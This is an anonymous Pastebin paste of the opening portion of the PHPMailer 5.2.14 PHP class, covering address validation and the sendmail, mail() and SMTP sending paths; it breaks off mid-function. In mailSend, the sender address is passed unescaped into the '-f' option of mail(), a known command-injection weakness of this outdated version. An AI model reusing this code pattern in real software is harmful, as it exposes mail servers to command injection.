Guest User

Untitled

a guest
Jul 19th, 2017
532
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 100.27 KB | None | 0 0
  1. <?php
  2. class PHPMailer
  3. {
  4.     public $Version = '5.2.14';
  5.     public $Priority = null;
  6.     public $CharSet = 'iso-8859-1';
  7.     public $ContentType = 'text/plain';
  8.     public $Encoding = '8bit';
  9.     public $ErrorInfo = '';
  10.     public $From = 'root@localhost';
  11.     public $FromName = 'Root User';
  12.     public $Sender = '';
  13.     public $ReturnPath = '';
  14.     public $Subject = '';
  15.     public $Body = '';
  16.     public $AltBody = '';
  17.     public $Ical = '';
  18.     protected $MIMEBody = '';
  19.     protected $MIMEHeader = '';
  20.     protected $mailHeader = '';
  21.     public $WordWrap = 0;
  22.     public $Mailer = 'mail';
  23.     public $Sendmail = '/usr/sbin/sendmail';
  24.     public $UseSendmailOptions = true;
  25.     public $PluginDir = '';
  26.     public $ConfirmReadingTo = '';
  27.     public $Hostname = '';
  28.     public $MessageID = '';
  29.     public $MessageDate = '';
  30.     public $Host = 'localhost';
  31.     public $Port = 25;
  32.     public $Helo = '';
  33.     public $SMTPSecure = '';
  34.     public $SMTPAutoTLS = true;
  35.     public $SMTPAuth = false;
  36.     public $SMTPOptions = array();
  37.     public $Username = '';
  38.     public $Password = '';
  39.     public $AuthType = '';
  40.     public $Realm = '';
  41.     public $Workstation = '';
  42.     public $Timeout = 300;
  43.     public $SMTPDebug = 0;
  44.     public $Debugoutput = 'echo';
  45.     public $SMTPKeepAlive = false;
  46.     public $SingleTo = false;
  47.     public $SingleToArray = array();
  48.     public $do_verp = false;
  49.     public $AllowEmpty = false;
  50.     public $LE = "\n";
  51.     public $DKIM_selector = '';
  52.     public $DKIM_identity = '';
  53.     public $DKIM_passphrase = '';
  54.     public $DKIM_domain = '';
  55.     public $DKIM_private = '';
  56.     public $action_function = '';
  57.     public $XMailer = '';
  58.     protected $smtp = null;
  59.     protected $to = array();
  60.     protected $cc = array();
  61.     protected $bcc = array();
  62.     protected $ReplyTo = array();
  63.     protected $all_recipients = array();
  64.     protected $RecipientsQueue = array();
  65.     protected $ReplyToQueue = array();
  66.     protected $attachment = array();
  67.     protected $CustomHeader = array();
  68.     protected $lastMessageID = '';
  69.     protected $message_type = '';
  70.     protected $boundary = array();
  71.     protected $language = array();
  72.     protected $error_count = 0;
  73.     protected $sign_cert_file = '';
  74.     protected $sign_key_file = '';
  75.     protected $sign_extracerts_file = '';
  76.     protected $sign_key_pass = '';
  77.     protected $exceptions = false;
  78.     protected $uniqueid = '';
  79.     const STOP_MESSAGE = 0;
  80.     const STOP_CONTINUE = 1;
  81.     const STOP_CRITICAL = 2;
  82.     const CRLF = "\r\n";
  83.     const MAX_LINE_LENGTH = 998;
  84.     public function __construct($exceptions = false)
  85.     {
  86.         $this->exceptions = (boolean)$exceptions;
  87.     }
  88.     public function __destruct()
  89.     {
  90.         //Close any open SMTP connection nicely
  91.         $this->smtpClose();
  92.     }
  93.     private function mailPassthru($to, $subject, $body, $header, $params)
  94.     {
  95.         //Check overloading of mail function to avoid double-encoding
  96.         if (ini_get('mbstring.func_overload') & 1) {
  97.             $subject = $this->secureHeader($subject);
  98.         } else {
  99.             $subject = $this->encodeHeader($this->secureHeader($subject));
  100.         }
  101.         if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  102.             $result = @mail($to, $subject, $body, $header);
  103.         } else {
  104.             $result = @mail($to, $subject, $body, $header, $params);
  105.         }
  106.         return $result;
  107.     }
  108.     protected function edebug($str)
  109.     {
  110.         if ($this->SMTPDebug <= 0) {
  111.             return;
  112.         }
  113.         //Avoid clash with built-in function names
  114.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  115.             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  116.             return;
  117.         }
  118.         switch ($this->Debugoutput) {
  119.             case 'error_log':
  120.                 //Don't output, just log
  121.                 error_log($str);
  122.                 break;
  123.             case 'html':
  124.                 //Cleans up output a bit for a better looking, HTML-safe output
  125.                 echo htmlentities(
  126.                     preg_replace('/[\r\n]+/', '', $str),
  127.                     ENT_QUOTES,
  128.                     'UTF-8'
  129.                 )
  130.                 . "<br>\n";
  131.                 break;
  132.             case 'echo':
  133.             default:
  134.                 //Normalize line breaks
  135.                 $str = preg_replace('/\r\n?/ms', "\n", $str);
  136.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  137.                     "\n",
  138.                     "\n                   \t                  ",
  139.                     trim($str)
  140.                 ) . "\n";
  141.         }
  142.     }
  143.     public function isHTML($isHtml = true)
  144.     {
  145.         if ($isHtml) {
  146.             $this->ContentType = 'text/html';
  147.         } else {
  148.             $this->ContentType = 'text/plain';
  149.         }
  150.     }
  151.     public function isSMTP()
  152.     {
  153.         $this->Mailer = 'smtp';
  154.     }
  155.     public function isMail()
  156.     {
  157.         $this->Mailer = 'mail';
  158.     }
  159.     public function isSendmail()
  160.     {
  161.         $ini_sendmail_path = ini_get('sendmail_path');
  162.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  163.             $this->Sendmail = '/usr/sbin/sendmail';
  164.         } else {
  165.             $this->Sendmail = $ini_sendmail_path;
  166.         }
  167.         $this->Mailer = 'sendmail';
  168.     }
  169.     public function isQmail()
  170.     {
  171.         $ini_sendmail_path = ini_get('sendmail_path');
  172.         if (!stristr($ini_sendmail_path, 'qmail')) {
  173.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  174.         } else {
  175.             $this->Sendmail = $ini_sendmail_path;
  176.         }
  177.         $this->Mailer = 'qmail';
  178.     }
  179.     public function addAddress($address, $name = '')
  180.     {
  181.         return $this->addOrEnqueueAnAddress('to', $address, $name);
  182.     }
  183.     public function addCC($address, $name = '')
  184.     {
  185.         return $this->addOrEnqueueAnAddress('cc', $address, $name);
  186.     }
  187.     public function addBCC($address, $name = '')
  188.     {
  189.         return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  190.     }
  191.     public function addReplyTo($address, $name = '')
  192.     {
  193.         return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  194.     }
  195.     protected function addOrEnqueueAnAddress($kind, $address, $name)
  196.     {
  197.         $address = trim($address);
  198.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  199.         if (($pos = strrpos($address, '@')) === false) {
  200.             // At-sign is misssing.
  201.             $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
  202.             $this->setError($error_message);
  203.             $this->edebug($error_message);
  204.             if ($this->exceptions) {
  205.                 throw new phpmailerException($error_message);
  206.             }
  207.             return false;
  208.         }
  209.         $params = array($kind, $address, $name);
  210.         // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  211.         if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  212.             if ($kind != 'Reply-To') {
  213.                 if (!array_key_exists($address, $this->RecipientsQueue)) {
  214.                     $this->RecipientsQueue[$address] = $params;
  215.                     return true;
  216.                 }
  217.             } else {
  218.                 if (!array_key_exists($address, $this->ReplyToQueue)) {
  219.                     $this->ReplyToQueue[$address] = $params;
  220.                     return true;
  221.                 }
  222.             }
  223.             return false;
  224.         }
  225.         // Immediately add standard addresses without IDN.
  226.         return call_user_func_array(array($this, 'addAnAddress'), $params);
  227.     }
  228.     protected function addAnAddress($kind, $address, $name = '')
  229.     {
  230.         if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  231.             $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  232.             $this->setError($error_message);
  233.             $this->edebug($error_message);
  234.             if ($this->exceptions) {
  235.                 throw new phpmailerException($error_message);
  236.             }
  237.             return false;
  238.         }
  239.         if (!$this->validateAddress($address)) {
  240.             $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
  241.             $this->setError($error_message);
  242.             $this->edebug($error_message);
  243.             if ($this->exceptions) {
  244.                 throw new phpmailerException($error_message);
  245.             }
  246.             return false;
  247.         }
  248.         if ($kind != 'Reply-To') {
  249.             if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  250.                 array_push($this->$kind, array($address, $name));
  251.                 $this->all_recipients[strtolower($address)] = true;
  252.                 return true;
  253.             }
  254.         } else {
  255.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  256.                 $this->ReplyTo[strtolower($address)] = array($address, $name);
  257.                 return true;
  258.             }
  259.         }
  260.         return false;
  261.     }
  262.     public function parseAddresses($addrstr, $useimap = true)
  263.     {
  264.         $addresses = array();
  265.         if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  266.             //Use this built-in parser if it's available
  267.             $list = imap_rfc822_parse_adrlist($addrstr, '');
  268.             foreach ($list as $address) {
  269.                 if ($address->host != '.SYNTAX-ERROR.') {
  270.                     if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  271.                         $addresses[] = array(
  272.                             'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  273.                             'address' => $address->mailbox . '@' . $address->host
  274.                         );
  275.                     }
  276.                 }
  277.             }
  278.         } else {
  279.             //Use this simpler parser
  280.             $list = explode(',', $addrstr);
  281.             foreach ($list as $address) {
  282.                 $address = trim($address);
  283.                 //Is there a separate name part?
  284.                 if (strpos($address, '<') === false) {
  285.                     //No separate name, just use the whole thing
  286.                     if ($this->validateAddress($address)) {
  287.                         $addresses[] = array(
  288.                             'name' => '',
  289.                             'address' => $address
  290.                         );
  291.                     }
  292.                 } else {
  293.                     list($name, $email) = explode('<', $address);
  294.                     $email = trim(str_replace('>', '', $email));
  295.                     if ($this->validateAddress($email)) {
  296.                         $addresses[] = array(
  297.                             'name' => trim(str_replace(array('"', "'"), '', $name)),
  298.                             'address' => $email
  299.                         );
  300.                     }
  301.                 }
  302.             }
  303.         }
  304.         return $addresses;
  305.     }
  306.     public function setFrom($address, $name = '', $auto = true)
  307.     {
  308.         $address = trim($address);
  309.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  310.         // Don't validate now addresses with IDN. Will be done in send().
  311.         if (($pos = strrpos($address, '@')) === false or
  312.             (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  313.             !$this->validateAddress($address)) {
  314.             $error_message = $this->lang('invalid_address') . " (setFrom) $address";
  315.             $this->setError($error_message);
  316.             $this->edebug($error_message);
  317.             if ($this->exceptions) {
  318.                 throw new phpmailerException($error_message);
  319.             }
  320.             return false;
  321.         }
  322.         $this->From = $address;
  323.         $this->FromName = $name;
  324.         if ($auto) {
  325.             if (empty($this->Sender)) {
  326.                 $this->Sender = $address;
  327.             }
  328.         }
  329.         return true;
  330.     }
  331.     public function getLastMessageID()
  332.     {
  333.         return $this->lastMessageID;
  334.     }
  335.     public static function validateAddress($address, $patternselect = 'auto')
  336.     {
  337.         //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  338.         if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  339.             return false;
  340.         }
  341.         if (!$patternselect or $patternselect == 'auto') {
  342.             //Check this constant first so it works when extension_loaded() is disabled by safe mode
  343.             //Constant was added in PHP 5.2.4
  344.             if (defined('PCRE_VERSION')) {
  345.                 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  346.                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  347.                     $patternselect = 'pcre8';
  348.                 } else {
  349.                     $patternselect = 'pcre';
  350.                 }
  351.             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  352.                 //Fall back to older PCRE
  353.                 $patternselect = 'pcre';
  354.             } else {
  355.                 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  356.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  357.                     $patternselect = 'php';
  358.                 } else {
  359.                     $patternselect = 'noregex';
  360.                 }
  361.             }
  362.         }
  363.         switch ($patternselect) {
  364.             case 'pcre8':
  365.                
  366.                 return (boolean)preg_match(
  367.                     '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  368.                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  369.                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  370.                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  371.                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  372.                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  373.                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  374.                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  375.                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  376.                     $address
  377.                 );
  378.             case 'pcre':
  379.                 //An older regex that doesn't need a recent PCRE
  380.                 return (boolean)preg_match(
  381.                     '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  382.                     '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  383.                     '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  384.                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  385.                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  386.                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  387.                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  388.                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  389.                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  390.                     '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  391.                     $address
  392.                 );
  393.             case 'html5':
  394.                
  395.                 return (boolean)preg_match(
  396.                     '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  397.                     '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  398.                     $address
  399.                 );
  400.             case 'noregex':
  401.                 //No PCRE! Do something _very_ approximate!
  402.                 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  403.                 return (strlen($address) >= 3
  404.                     and strpos($address, '@') >= 1
  405.                     and strpos($address, '@') != strlen($address) - 1);
  406.             case 'php':
  407.             default:
  408.                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  409.         }
  410.     }
  411.     public function idnSupported()
  412.     {
  413.         // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  414.         return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  415.     }
  416.     public function punyencodeAddress($address)
  417.     {
  418.         // Verify we have required functions, CharSet, and at-sign.
  419.         if ($this->idnSupported() and
  420.             !empty($this->CharSet) and
  421.             ($pos = strrpos($address, '@')) !== false) {
  422.             $domain = substr($address, ++$pos);
  423.             // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  424.             if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  425.                 $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  426.                 if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  427.                     idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  428.                     idn_to_ascii($domain)) !== false) {
  429.                     return substr($address, 0, $pos) . $punycode;
  430.                 }
  431.             }
  432.         }
  433.         return $address;
  434.     }
  435.     public function send()
  436.     {
  437.         try {
  438.             if (!$this->preSend()) {
  439.                 return false;
  440.             }
  441.             return $this->postSend();
  442.         } catch (phpmailerException $exc) {
  443.             $this->mailHeader = '';
  444.             $this->setError($exc->getMessage());
  445.             if ($this->exceptions) {
  446.                 throw $exc;
  447.             }
  448.             return false;
  449.         }
  450.     }
  451.     public function preSend()
  452.     {
  453.         try {
  454.             $this->error_count = 0; // Reset errors
  455.             $this->mailHeader = '';
  456.             // Dequeue recipient and Reply-To addresses with IDN
  457.             foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  458.                 $params[1] = $this->punyencodeAddress($params[1]);
  459.                 call_user_func_array(array($this, 'addAnAddress'), $params);
  460.             }
  461.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  462.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  463.             }
  464.             // Validate From, Sender, and ConfirmReadingTo addresses
  465.             foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  466.                 $this->$address_kind = trim($this->$address_kind);
  467.                 if (empty($this->$address_kind)) {
  468.                     continue;
  469.                 }
  470.                 $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  471.                 if (!$this->validateAddress($this->$address_kind)) {
  472.                     $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
  473.                     $this->setError($error_message);
  474.                     $this->edebug($error_message);
  475.                     if ($this->exceptions) {
  476.                         throw new phpmailerException($error_message);
  477.                     }
  478.                     return false;
  479.                 }
  480.             }
  481.             // Set whether the message is multipart/alternative
  482.             if ($this->alternativeExists()) {
  483.                 $this->ContentType = 'multipart/alternative';
  484.             }
  485.             $this->setMessageType();
  486.             // Refuse to send an empty message unless we are specifically allowing it
  487.             if (!$this->AllowEmpty and empty($this->Body)) {
  488.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  489.             }
  490.             // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  491.             $this->MIMEHeader = '';
  492.             $this->MIMEBody = $this->createBody();
  493.             // createBody may have added some headers, so retain them
  494.             $tempheaders = $this->MIMEHeader;
  495.             $this->MIMEHeader = $this->createHeader();
  496.             $this->MIMEHeader .= $tempheaders;
  497.             // To capture the complete message when using mail(), create
  498.             // an extra header list which createHeader() doesn't fold in
  499.             if ($this->Mailer == 'mail') {
  500.                 if (count($this->to) > 0) {
  501.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  502.                 } else {
  503.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  504.                 }
  505.                 $this->mailHeader .= $this->headerLine(
  506.                     'Subject',
  507.                     $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  508.                 );
  509.             }
  510.             // Sign with DKIM if enabled
  511.             if (!empty($this->DKIM_domain)
  512.                 && !empty($this->DKIM_private)
  513.                 && !empty($this->DKIM_selector)
  514.                 && file_exists($this->DKIM_private)) {
  515.                 $header_dkim = $this->DKIM_Add(
  516.                     $this->MIMEHeader . $this->mailHeader,
  517.                     $this->encodeHeader($this->secureHeader($this->Subject)),
  518.                     $this->MIMEBody
  519.                 );
  520.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  521.                     str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  522.             }
  523.             return true;
  524.         } catch (phpmailerException $exc) {
  525.             $this->setError($exc->getMessage());
  526.             if ($this->exceptions) {
  527.                 throw $exc;
  528.             }
  529.             return false;
  530.         }
  531.     }
  532.     public function postSend()
  533.     {
  534.         try {
  535.             // Choose the mailer and send through it
  536.             switch ($this->Mailer) {
  537.                 case 'sendmail':
  538.                 case 'qmail':
  539.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  540.                 case 'smtp':
  541.                     return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  542.                 case 'mail':
  543.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  544.                 default:
  545.                     $sendMethod = $this->Mailer.'Send';
  546.                     if (method_exists($this, $sendMethod)) {
  547.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  548.                     }
  549.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  550.             }
  551.         } catch (phpmailerException $exc) {
  552.             $this->setError($exc->getMessage());
  553.             $this->edebug($exc->getMessage());
  554.             if ($this->exceptions) {
  555.                 throw $exc;
  556.             }
  557.         }
  558.         return false;
  559.     }
  560.     protected function sendmailSend($header, $body)
  561.     {
  562.         if ($this->Sender != '') {
  563.             if ($this->Mailer == 'qmail') {
  564.                 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  565.             } else {
  566.                 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  567.             }
  568.         } else {
  569.             if ($this->Mailer == 'qmail') {
  570.                 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  571.             } else {
  572.                 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  573.             }
  574.         }
  575.         if ($this->SingleTo) {
  576.             foreach ($this->SingleToArray as $toAddr) {
  577.                 if (!@$mail = popen($sendmail, 'w')) {
  578.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  579.                 }
  580.                 fputs($mail, 'To: ' . $toAddr . "\n");
  581.                 fputs($mail, $header);
  582.                 fputs($mail, $body);
  583.                 $result = pclose($mail);
  584.                 $this->doCallback(
  585.                     ($result == 0),
  586.                     array($toAddr),
  587.                     $this->cc,
  588.                     $this->bcc,
  589.                     $this->Subject,
  590.                     $body,
  591.                     $this->From
  592.                 );
  593.                 if ($result != 0) {
  594.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  595.                 }
  596.             }
  597.         } else {
  598.             if (!@$mail = popen($sendmail, 'w')) {
  599.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  600.             }
  601.             fputs($mail, $header);
  602.             fputs($mail, $body);
  603.             $result = pclose($mail);
  604.             $this->doCallback(
  605.                 ($result == 0),
  606.                 $this->to,
  607.                 $this->cc,
  608.                 $this->bcc,
  609.                 $this->Subject,
  610.                 $body,
  611.                 $this->From
  612.             );
  613.             if ($result != 0) {
  614.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  615.             }
  616.         }
  617.         return true;
  618.     }
  619.     protected function mailSend($header, $body)
  620.     {
  621.         $toArr = array();
  622.         foreach ($this->to as $toaddr) {
  623.             $toArr[] = $this->addrFormat($toaddr);
  624.         }
  625.         $to = implode(', ', $toArr);
  626.         if (empty($this->Sender)) {
  627.             $params = ' ';
  628.         } else {
  629.             $params = sprintf('-f%s', $this->Sender);
  630.         }
  631.         if ($this->Sender != '' and !ini_get('safe_mode')) {
  632.             $old_from = ini_get('sendmail_from');
  633.             ini_set('sendmail_from', $this->Sender);
  634.         }
  635.         $result = false;
  636.         if ($this->SingleTo && count($toArr) > 1) {
  637.             foreach ($toArr as $toAddr) {
  638.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  639.                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  640.             }
  641.         } else {
  642.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  643.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  644.         }
  645.         if (isset($old_from)) {
  646.             ini_set('sendmail_from', $old_from);
  647.         }
  648.         if (!$result) {
  649.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  650.         }
  651.         return true;
  652.     }
  653.     public function getSMTPInstance()
  654.     {
  655.         if (!is_object($this->smtp)) {
  656.             $this->smtp = new SMTP;
  657.         }
  658.         return $this->smtp;
  659.     }
  660.     protected function smtpSend($header, $body)
  661.     {
  662.         $bad_rcpt = array();
  663.         if (!$this->smtpConnect($this->SMTPOptions)) {
  664.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  665.         }
  666.         if ('' == $this->Sender) {
  667.             $smtp_from = $this->From;
  668.         } else {
  669.             $smtp_from = $this->Sender;
  670.         }
  671.         if (!$this->smtp->mail($smtp_from)) {
  672.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  673.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  674.         }
  675.         // Attempt to send to all recipients
  676.         foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  677.             foreach ($togroup as $to) {
  678.                 if (!$this->smtp->recipient($to[0])) {
  679.                     $error = $this->smtp->getError();
  680.                     $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  681.                     $isSent = false;
  682.                 } else {
  683.                     $isSent = true;
  684.                 }
  685.                 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  686.             }
  687.         }
  688.         // Only send the DATA command if we have viable recipients
  689.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  690.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  691.         }
  692.         if ($this->SMTPKeepAlive) {
  693.             $this->smtp->reset();
  694.         } else {
  695.             $this->smtp->quit();
  696.             $this->smtp->close();
  697.         }
  698.         //Create error message for any bad addresses
  699.         if (count($bad_rcpt) > 0) {
  700.             $errstr = '';
  701.             foreach ($bad_rcpt as $bad) {
  702.                 $errstr .= $bad['to'] . ': ' . $bad['error'];
  703.             }
  704.             throw new phpmailerException(
  705.                 $this->lang('recipients_failed') . $errstr,
  706.                 self::STOP_CONTINUE
  707.             );
  708.         }
  709.         return true;
  710.     }
  711.     public function smtpConnect($options = array())
  712.     {
  713.         if (is_null($this->smtp)) {
  714.             $this->smtp = $this->getSMTPInstance();
  715.         }
  716.         // Already connected?
  717.         if ($this->smtp->connected()) {
  718.             return true;
  719.         }
  720.         $this->smtp->setTimeout($this->Timeout);
  721.         $this->smtp->setDebugLevel($this->SMTPDebug);
  722.         $this->smtp->setDebugOutput($this->Debugoutput);
  723.         $this->smtp->setVerp($this->do_verp);
  724.         $hosts = explode(';', $this->Host);
  725.         $lastexception = null;
  726.         foreach ($hosts as $hostentry) {
  727.             $hostinfo = array();
  728.             if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  729.                 // Not a valid host entry
  730.                 continue;
  731.             }
  732.             // $hostinfo[2]: optional ssl or tls prefix
  733.             // $hostinfo[3]: the hostname
  734.             // $hostinfo[4]: optional port number
  735.             // The host string prefix can temporarily override the current setting for SMTPSecure
  736.             // If it's not specified, the default value is used
  737.             $prefix = '';
  738.             $secure = $this->SMTPSecure;
  739.             $tls = ($this->SMTPSecure == 'tls');
  740.             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  741.                 $prefix = 'ssl://';
  742.                 $tls = false; // Can't have SSL and TLS at the same time
  743.                 $secure = 'ssl';
  744.             } elseif ($hostinfo[2] == 'tls') {
  745.                 $tls = true;
  746.                 // tls doesn't use a prefix
  747.                 $secure = 'tls';
  748.             }
  749.             //Do we need the OpenSSL extension?
  750.             $sslext = defined('OPENSSL_ALGO_SHA1');
  751.             if ('tls' === $secure or 'ssl' === $secure) {
  752.                 //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  753.                 if (!$sslext) {
  754.                     throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  755.                 }
  756.             }
  757.             $host = $hostinfo[3];
  758.             $port = $this->Port;
  759.             $tport = (integer)$hostinfo[4];
  760.             if ($tport > 0 and $tport < 65536) {
  761.                 $port = $tport;
  762.             }
  763.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  764.                 try {
  765.                     if ($this->Helo) {
  766.                         $hello = $this->Helo;
  767.                     } else {
  768.                         $hello = $this->serverHostname();
  769.                     }
  770.                     $this->smtp->hello($hello);
  771.                     //Automatically enable TLS encryption if:
  772.                     // * it's not disabled
  773.                     // * we have openssl extension
  774.                     // * we are not already using SSL
  775.                     // * the server offers STARTTLS
  776.                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  777.                         $tls = true;
  778.                     }
  779.                     if ($tls) {
  780.                         if (!$this->smtp->startTLS()) {
